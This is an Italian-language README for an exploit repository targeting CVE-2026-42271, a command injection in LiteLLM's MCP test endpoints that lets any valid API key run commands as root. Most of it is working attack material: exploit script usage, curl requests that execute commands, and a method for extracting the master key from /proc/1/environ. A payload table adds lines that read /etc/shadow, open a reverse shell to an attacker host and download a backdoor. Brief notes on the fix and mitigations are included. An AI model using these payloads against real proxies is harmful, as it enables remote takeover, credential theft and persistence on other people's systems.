
Il codice per riprodurre personalmente la vulnerabilità corrispondente
LiteLLM
POST /mcp-rest/test/connectionePOST /mcp-rest/test/tools/list— Iniezione di comandi autenticata tramite trasporto MCP stdio. Qualsiasi chiave API valida può eseguire comandi OS arbitrari come root (nella distribuzione Docker predefinita).Immagine bloccata tramite digest: il container vulnerabile è fissato a LiteLLM v1.82.6, garantendo riproducibilità a lungo termine.
| Campo | Valore |
|---|---|
| CVE | CVE-2026-42271 |
| CVSS v4.0 | 8.7 (ALTA) — CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N |
| CVSS v3.1 | 8.8 (ALTA) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-77 / CWE-78 (Iniezione di comandi OS) |
| Versione affetta | LiteLLM >= 1.74.2, < 1.83.7 |
| Versione corretta | v1.83.7+ (lista bianca comandi + controllo ruolo PROXY_ADMIN aggiunto) |
| Pubblicazione | 2026-05-08 |
| Versione bloccata | v1.82.6 — Immagine fissata tramite digest, garantisce riproducibilità a lungo termine |
| Link | GHSA-v4p8-mg3p-g94g • NVD • GitLab Advisory |
Due endpoint usati per visualizzare in anteprima un server MCP prima di salvarlo — POST /mcp-rest/test/connection e POST /mcp-rest/test/tools/list — accettano nel corpo della richiesta una configurazione completa del server MCP, inclusi i campi command, args ed env usati dal trasporto stdio.
Quando vengono chiamati con una configurazione stdio, gli endpoint lanciano il comando fornito come sottoprocesso sull'host proxy con i privilegi del processo proxy (root nel Docker predefinito).
Problema chiave: Gli endpoint verificano solo la presenza di una chiave API proxy valida, senza alcun controllo di ruolo — anche chiavi internal_user con privilegi ridotti possono sfruttarlo.
# 1. Avviare un'istanza vulnerabile di LiteLLM (bloccata a v1.82.6)
docker compose up -d
# 2. Eseguire l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"
# Oppure usare curl direttamente (RCE cieco — la risposta può mostrare un errore ma il comando viene eseguito)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "id > /tmp/pwned"]
}'
# Controllare che il comando sia stato eseguito all'interno del container
docker exec litellm-cve cat /tmp/pwned
# Output: uid=0(root) gid=0(root) groups=0(root),0(root),...
L'API restituisce "Failed to connect to MCP server" perché il processo generato non parla il protocollo MCP — ma il comando è già stato eseguito con privilegi di root.
POST /mcp-rest/test/connectionTesta una connessione al server MCP. Con trasporto stdio, lancia il comando fornito.
POST /mcp-rest/test/tools/listElenca gli strumenti da un server MCP di test. Stesso comportamento — lancia il comando fornito quando si usa il trasporto stdio.
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "<comando malevolo>"],
"env": {
"PATH": "/usr/bin:/bin"
}
}
La correzione ha aggiunto due livelli di difesa:
validate_transport_fields() — permette solo: npx, uvx, python, python3, node, docker, denoPROXY_ADMINCVE-2026-42271/
├── README.md # Questo file
├── docker-compose.yml # Ambiente vulnerabile con un comando (bloccato a v1.82.6)
├── requirements.txt # Dipendenze
├── exploit/
│ ├── exploit.py # Script exploit completo
│ └── payload.py # Modulo di generazione payload
├── docs/
│ └── advisory.md # Riferimento advisory
└── screenshots/ # Screenshot di prova
PROXY_ADMIN)/mcp-rest/test/connection e /mcp-rest/test/tools/list al proxy inversodocker run --user 1000:1000 ...Quando si replica la sezione 5.7 (estrazione delle variabili d'ambiente del processo), notare che: MCP Python SDK v1.25.0+ quando crea un sottoprocesso stdio, non eredita le variabili d'ambiente del processo padre di LiteLLM. L'SDK tramite get_default_environment() passa solo HOME e PATH, poi unisce le variabili specificate esplicitamente dall'utente nel campo env.
Pertanto env > /tmp/env_dump non catturerà LITELLM_MASTER_KEY.
Procedura corretta: leggere il file /proc/1/environ del processo principale di LiteLLM per estrarre le variabili d'ambiente:
# Estrazione delle variabili d'ambiente (tramite /proc/1/environ)
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/mcp-rest/test/tools/list \
-d '{
"transport": "stdio",
"command": "bash",
"args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
}'
# Visualizzare il risultato
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Output: LITELLM_MASTER_KEY=sk-litellm-master-key
Per maggiori dettagli, consultare la sezione 5.7 del rapporto di riproduzione.
Disclaimer: Questo contenuto è fornito a scopo educativo e per test di sicurezza autorizzati esclusivamente.
| Scenario | Payload |
|---|
| RCE base | "args": ["-c", "id > /tmp/pwned"] |
| Lettura file | "args": ["-c", "cat /etc/shadow > /tmp/out"] |
| Esfiltrazione ambiente | `"args": ["-c", "cat /proc/1/environ |
| Reverse shell | "args": ["-c", "bash -i >& /dev/tcp/attaccante/4444 0>&1"] |
| Persistenza | "args": ["-c", "curl http://attaccante/malware -o /tmp/backdoor && chmod +x /tmp/backdoor"] |
| Campo | Tipo | Obbligatorio | Descrizione |
|---|
transport | stringa | Sì | Deve essere "stdio" per l'iniezione di comandi |
command | stringa | Sì | Eseguibile da lanciare (es. bash, python, curl) |
args | array | Sì | Argomenti passati al comando |
env | oggetto | No | Variabili d'ambiente per il sottoprocesso |